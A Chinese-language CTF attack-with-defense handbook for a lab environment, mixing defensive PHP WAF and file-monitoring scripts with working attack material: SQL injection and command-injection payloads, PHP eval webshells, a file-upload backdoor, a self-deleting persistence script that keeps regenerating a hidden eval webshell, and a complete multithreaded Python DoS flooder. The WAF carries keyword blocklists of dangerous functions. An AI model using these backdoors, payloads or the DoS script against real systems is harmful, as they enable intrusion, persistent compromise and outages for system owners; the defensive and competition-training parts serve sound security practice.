CTF AWD 靶机攻防核心手册 —— 漏洞利用、封堵技巧及防护脚本合集

CTF 比赛靶机及攻防操作指南

一、靶机与访问地址

(一)裁判/观赛专用地址

访问地址 功能注释
192.168.87.199:8080/flag_file.php?token=teamX(自己队伍编号)&flag=flag{XXX} 提交 Flag 专用地址
注意:攻击其他队伍后提交,需替换 teamX 为自身队伍编号(如 Team1 填 team1),flag{XXX} 为目标队伍的 Flag,禁止攻击本队
192.168.87.199:8080/score.txt 实时查看各队伍攻击得分排行榜
192.168.87.199:8080/result.txt 查看详细攻击行为日志(含攻击方、目标、时间及结果)

(二)选手靶机地址(2支队伍专属)

访问地址 用途说明 登录凭证
http://192.168.87.199:880xx=1-2 Web 业务靶机(队伍1→8801,队伍2→8802) 无(直接访问)
ssh ctf@192.168.87.199 -p220xx=1-2 终端登录(队伍1→2201,队伍2→2202) 用户名:ctf,密码见下方查询地址

(三)辅助查看地址

  1. 队伍终端密码查询

    图1-1:查看队伍终端密码示意图
  2. 实时得分面板

    图1-2:得分情况面板示意图

二、核心攻防技巧

(一)SQL 万能密码利用

用于绕过 Web 登录认证的高频技巧,核心原理是构造恶意账号/密码注入SQL查询逻辑:

  1. 注入示例:账号填 admin' or '1'='1,密码任意

    图2-1:SQL万能密码利用示意图1
  2. 成功绕过登录后的权限访问

    图2-2:SQL万能密码利用示意图2

(二)命令执行漏洞利用

通过 Web 输入点注入系统命令,获取靶机权限或敏感信息:

  • 测试示例:在输入框提交 ls /(列出根目录文件)、cat /flag(读取Flag文件)

    图2-3:命令执行漏洞测试示意图

(三)终端交互优化命令

通过 SSH 登录后,默认终端可能功能不全,执行以下命令可获取完整 bash 环境(支持命令补全、上下箭头切换历史):

1
2
# 生成完整交互式bash终端
python -c 'import pty;pty.spawn("/bin/bash")'

三、代码审计与漏洞封堵

漏洞描述

接收 POST 参数 shell 后直接调用 system() 执行系统命令,无任何过滤逻辑,攻击者可注入任意命令(高危漏洞)。

漏洞代码(关键片段)

1
2
3
4
5
6
7
<?php
$shell=$_POST['shell'];
system($shell); // 直接执行用户输入,无过滤!
if($shell !=""){
exit();
}
?>

漏洞测试效果

  1. 注入 whoami 查看当前运行用户

    图3-1:footer.php 漏洞测试图1
  2. 注入 find / -name "flag*" 搜索Flag文件

    图3-2:footer.php 漏洞测试图2

封堵建议(优先级:高)

  1. 彻底修复:直接删除 system($shell); 及相关命令执行逻辑(非必要功能);
  2. 兼容修复(若需保留功能):仅允许白名单命令(如 lspwd),示例代码:
    1
    2
    3
    4
    $allow_commands = ['ls', 'pwd', 'date']; // 白名单命令
    if (in_array($shell, $allow_commands)) {
    system($shell);
    }

(二)代码注入后门:/var/www/html/index.php

漏洞描述

通过 $_REQUEST['aa'] 接收任意用户输入,直接传入 eval() 执行PHP代码,属于无条件后门(攻击者可执行任意操作)。

漏洞代码(关键片段)

1
2
3
4
<?php
include 'header.php';
@eval($_REQUEST['aa']); // 无过滤执行PHP代码,高危后门!
?>

漏洞测试效果

注入 aa=phpinfo(); 查看靶机PHP环境信息

图3-3:index.php 后门测试示意图

封堵建议(优先级:紧急)

  1. 直接删除 @eval($_REQUEST['aa']); 后门代码;
  2. 全局搜索项目目录,检查是否存在其他 eval()/assert() 注入逻辑。

(三)命令执行后门:/var/www/html/admin/header.php

漏洞描述

接收 GET 参数 p,通过 exec() 执行系统命令并输出结果,攻击者可通过URL注入命令(高危后门)。

漏洞代码(关键片段)

1
2
3
4
5
6
<?php
$p=$_GET['p'];
echo $p; // 输出注入的命令
$q=exec($p); // 执行命令
var_dump($q); // 打印命令结果
?>

漏洞测试效果

通过URL注入 p=cat /etc/passwd 读取用户列表

图3-4:admin/header.php 后门测试示意图

封堵建议(优先级:紧急)

  1. 删除 exec($p) 及命令输出相关代码;
  2. 若需保留 p 参数(如页面跳转),限制参数长度(如≤10字符)并过滤特殊字符(;|& 等)。

四、文件上传漏洞:/var/www/html/admin/upload.php

漏洞描述

上传功能未校验文件类型(MIME)、后缀名(如 .php),攻击者可直接上传PHP后门脚本,获取持久控制权限。

漏洞测试效果

  1. 构造后缀为 .php 的恶意文件(内容:<?php @eval($_POST['cmd']);?>

    图4-1:upload.php 上传测试图1
  2. 绕过上传校验,成功上传后门文件

    图4-2:upload.php 上传测试图2
  3. 通过后门文件执行命令(如 cmd=system("cat /flag");

    图4-3:upload.php 上传测试图3

封堵建议(优先级:高)

  1. 限制上传文件后缀:仅允许 jpg/png/gif 等静态文件;
  2. 校验文件MIME类型:通过 $_FILES['file']['type'] 过滤非图片类型;
  3. 重命名上传文件:随机生成文件名(如 time().mt_rand().ext),避免后缀绕过;
  4. 禁止上传目录执行权限:在 upload 目录添加 .htaccess 文件(php_flag engine off)。

五、防护-封堵-专业防护工具

注意:部分AWD竞赛禁止使用开源防护工具(存在特征流量易被检测),使用前需确认比赛规则!

(一)工具:awd-watchbird-master(纯PHP防护WAF)

特点

无需依赖复杂环境,外部编译后上传至靶机即可使用,支持动态替换Flag、拦截攻击命令、查杀WebShell。

安装与初始化

  1. 执行安装命令(靶机终端中):

    图5-1:awd-watchbird安装示意图
  2. 访问Web控制台初始化:
    地址:http://192.168.87.199:880x/?watchbird=ui(x为自身队伍编号)
    初始管理员密码:默认无,首次访问设置

    图5-2:控制台登录示意图
    图5-3:控制台初始化示意图

核心防护功能

攻击类型 防护效果 示意图
命令执行 拦截攻击命令,替换返回结果中的Flag 图5-4:命令执行防护示意图
SQL注入 允许注入语法执行,但替换Flag内容 图5-5:SQL注入防护示意图
文件上传 直接拦截恶意文件上传请求 图5-6:文件上传防护示意图1
动态Flag替换 定时更新靶机内Flag文件内容,防止被窃取 图5-7:Flag替换功能示意图

附加功能:攻击复用

控制台会记录所有攻击Payload,可直接复用攻击其他队伍:

图5-8:攻击Payload审计示意图

六、防护脚本(无特征流量,推荐使用)

(一)通防脚本(PHP)

功能

拦截SQL注入、命令执行、文件上传、Flag窃取等攻击,记录详细攻击日志(含Payload、IP、时间)。

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);

// 攻击日志保存路径
define('LOG_FILENAME', 'Attack_Big_information.txt');

/**
* 核心WAF逻辑:检测GET/POST/COOKIE/文件上传中的恶意内容
*/
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
}
return $headers;
}
}

// 收集所有输入数据
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];

// 处理文件上传:清空上传内容,防止恶意脚本
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink"); // 替换上传文件内容
}
unset($header['Accept']); // 修复兼容性bug

// 统一输入数据格式
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);

// 恶意关键词库(覆盖常见攻击 payload)
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .= "|passthru|exec|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|pcntl_exec|flag";
$vpattern = explode("|", $pattern);

// 检测恶意内容
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input); // 记录攻击日志
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}

/**
* 记录攻击日志
*/
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time = date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}

// 执行WAF初始化
waf();

/**
* 增强防护类:二次过滤+日志记录
*/
class waf{
private $request_url;
private $request_method;
private $request_data;
private $headers;

// 自动执行初始化
function __construct(){
$this->write_access_log_probably(); // 记录基础访问日志
$this->write_access_logs_detailed(); // 记录完整请求包
$this->request_url = $_SERVER['REQUEST_URI'];
$this->request_data = file_get_contents('php://input');
$this->headers = $this->get_all_headers();

// 过滤URL和POST数据中的恶意内容
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url))));
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data))));
$this->detect_upload(); // 拦截文件上传
$this->gloabel_attack_detect(); // 全局输入过滤
}

/**
* 全局输入过滤:替换危险字符
*/
function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($this->headers as $key => $value) {
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($value))));
$_SERVER[$key] = $this->filter_dangerous_words($value);
}
}

/**
* 拦截所有文件上传
*/
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size'] > 1){
echo "上传功能已禁用!";
$this->write_attack_log("Upload");
exit(0);
}
}
}

/**
* 记录基础访问日志
*/
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('all_requests.txt', 'a');
fwrite($ffff, $raw);
fclose($ffff);
}

/**
* 记录完整请求包(用于审计攻击Payload)
*/
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('all_requests_detail.txt', 'a');
fwrite($ffff, urldecode($data));
fclose($ffff);
}

/**
* 获取HTTP请求头
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}

/**
* 过滤不可见字符(防止截断绕过)
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){
if(!in_array($ascii, array(9,10,13))){
$this->write_attack_log("interrupt");
}else{
$str = str_replace(chr($ascii), " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}

/**
* 过滤二次编码(防止%25绕过)
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return $this->filter_0x25($str);
}else{
return $str;
}
}

/**
* 攻击关键字检测(拦截SQLi、命令执行等)
*/
function filter_attack_keyword($str){
// SQL注入检测
if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
// 文件包含检测
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");
}
}else{
$this->write_attack_log("LFI/LFR");
}
// 命令执行检测
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|shell_exec|proc_open|popen/i", $str)){
$this->write_attack_log("EXEC");
}
// Flag窃取检测
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}
}

/**
* 替换危险字符(防止注入)
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}

/**
* 获取完整HTTP请求包
*/
function get_http_raws() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}

/**
* 记录攻击日志并拦截
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('attack_detected_log.txt', 'a');
fwrite($ffff, $data);
fclose($ffff);
// 针对Flag窃取返回假Flag
if($alert == 'GETFLAG'){
echo "flag{erxianqiao_NB_NO1_c001}";
}else{
sleep(3); // 延迟3秒再返回,消耗攻击者时间
}
exit(0);
}
}

// 初始化增强防护
$waf = new waf();
?>

(二)DoS脚本(慎用!)

严重警告:绝大多数CTF比赛禁止DoS攻击(属于违规操作,会直接取消参赛资格),仅用于应急测试!

功能

通过多线程发送超大体积HTTP请求,占用靶机带宽和连接数。

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import socket
import time
import threading

# 攻击配置
MAX_CONNECTIONS = 90000000 # 最大连接数
TARGET_PORT = 80 # 目标端口
TARGET_HOST = "192.168.92.154" # 目标IP(需替换为攻击目标)
TARGET_PAGE = "/index.php" # 目标页面

# 构造超大体积请求包
REQUEST_BAG = (
f"POST {TARGET_PAGE} HTTP/1.1\r\n"
f"Host: {TARGET_HOST}\r\n"
"Content-Length: 1000000000\r\n" # 1GB请求体,消耗带宽
"Cookie: 1998\r\n"
"\r\n"
)

# 存储连接的socket
socks = []

def create_connections():
"""创建大量TCP连接"""
global socks
for _ in range(MAX_CONNECTIONS):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
s.send(REQUEST_BAG.encode("utf-8"))
socks.append(s)
except Exception as e:
time.sleep(1) # 连接失败时延迟重试

def keep_sending():
"""持续发送数据,维持连接"""
global socks
while True:
for s in socks[:]: # 遍历副本,避免删除时出错
try:
s.send(b"X" * 1024) # 持续发送数据
print("攻击中....")
except Exception as e:
socks.remove(s)
s.close()
time.sleep(0.1)

# 启动多线程攻击
if __name__ == "__main__":
t1 = threading.Thread(target=create_connections)
t2 = threading.Thread(target=keep_sending)
t1.start()
t2.start()

(三)迷惑脚本(干扰攻击者)

1. 防御型不死马(替换Flag)

功能

后台循环运行,持续替换Flag文件内容为假Flag,防止攻击者窃取真实Flag。

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ignore_user_abort(true); // 忽略客户端断开连接
set_time_limit(0); // 无时间限制运行
unlink(__FILE__); // 删除自身,隐藏痕迹

$flag_file = 'flag.txt'; // 目标Flag文件路径
$fake_flag = 'iam123fakeh123rh1289e4u129e1e'; // 假Flag内容

// 循环替换Flag文件
while (1) {
file_put_contents($flag_file, $fake_flag);
// 修改index.php修改时间,干扰文件审计
system('touch -m -d "2017-11-12 10:10:10" index.php');
usleep(100); // 每0.1秒执行一次
}
?>

2. 攻击型不死马(生成衍生木马)

功能

后台循环生成隐藏后门文件,即使被删除也会自动恢复,维持对靶机的控制。

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__); // 隐藏自身

$backdoor_file = '.Indexl.php'; // 隐藏后门文件名(首字符为点)
// 后门代码:通过GET参数cmd执行任意PHP代码(可替换为加密版本)
$backdoor_code = '<?php @eval($_GET["cmd"]);?>';

// 循环生成后门
while (1) {
file_put_contents($backdoor_file, $backdoor_code);
// 修改文件修改时间,干扰检测
system('touch -m -d "2019-11-14 10:10:10" index.php');
usleep(100);
}
?>

(四)文件上传防护脚本(Python)

功能

监控靶机内PHP文件修改,自动删除新增的恶意脚本(如上传的后门),并记录文件内容用于审计。

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python
# coding=utf-8
# 用途:监控并删除新增的恶意PHP文件
# 使用说明:放在靶机有读写权限的目录(需覆盖所有Web目录)
# 作者:AdminTony
# QQ:78941695

import sys
import subprocess
import os
import time

def scan_modified_php_files():
"""扫描最近10分钟内被修改的PHP文件"""
# 执行find命令:查找当前目录及子目录下10分钟内修改的.php文件
command = "find . -name '*.php' -mmin -10"
proc = subprocess.Popen(
command, shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
stdout, stderr = proc.communicate()
# 按换行分割结果,返回文件路径列表
return [path.strip() for path in stdout.decode().split("\n") if path.strip()]

def record_and_delete_file(file_path):
"""记录文件内容并删除文件"""
try:
# 读取文件内容
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
file_content = f.read()
except Exception as e:
print(f"读取文件失败:{file_path} - {str(e)}")
return

# 构造记录内容(路径+内容)
record_content = f"{file_path}\n{file_content}\n\n"
# 记录到shell.txt(避免重复记录)
with open("shell.txt", 'a+', encoding='utf-8', errors='ignore') as log_f:
log_f.seek(0)
existing_content = log_f.read()
if record_content not in existing_content and file_content:
log_f.write(record_content)
print(f"已记录并删除恶意文件:{file_path}")

# 删除恶意文件
try:
os.remove(file_path)
except Exception as e:
print(f"删除文件失败:{file_path} - {str(e)}")

if __name__ == '__main__':
print("文件上传防护脚本启动...")
while True:
# 持续扫描
modified_files = scan_modified_php_files()
if modified_files:
for file_path in modified_files:
record_and_delete_file(file_path)
time.sleep(1) # 每秒扫描一次

七、使用注意事项

  1. 禁止攻击本队:靶机地址中的 x 需严格对应自身队伍编号,攻击本队会扣除分数;
  2. Flag提交格式:必须使用 flag{XXX} 格式,否则提交无效;
  3. 防护脚本部署:通防脚本需放在Web根目录(如 /var/www/html),命名为 index.php 或在其他PHP文件中引用;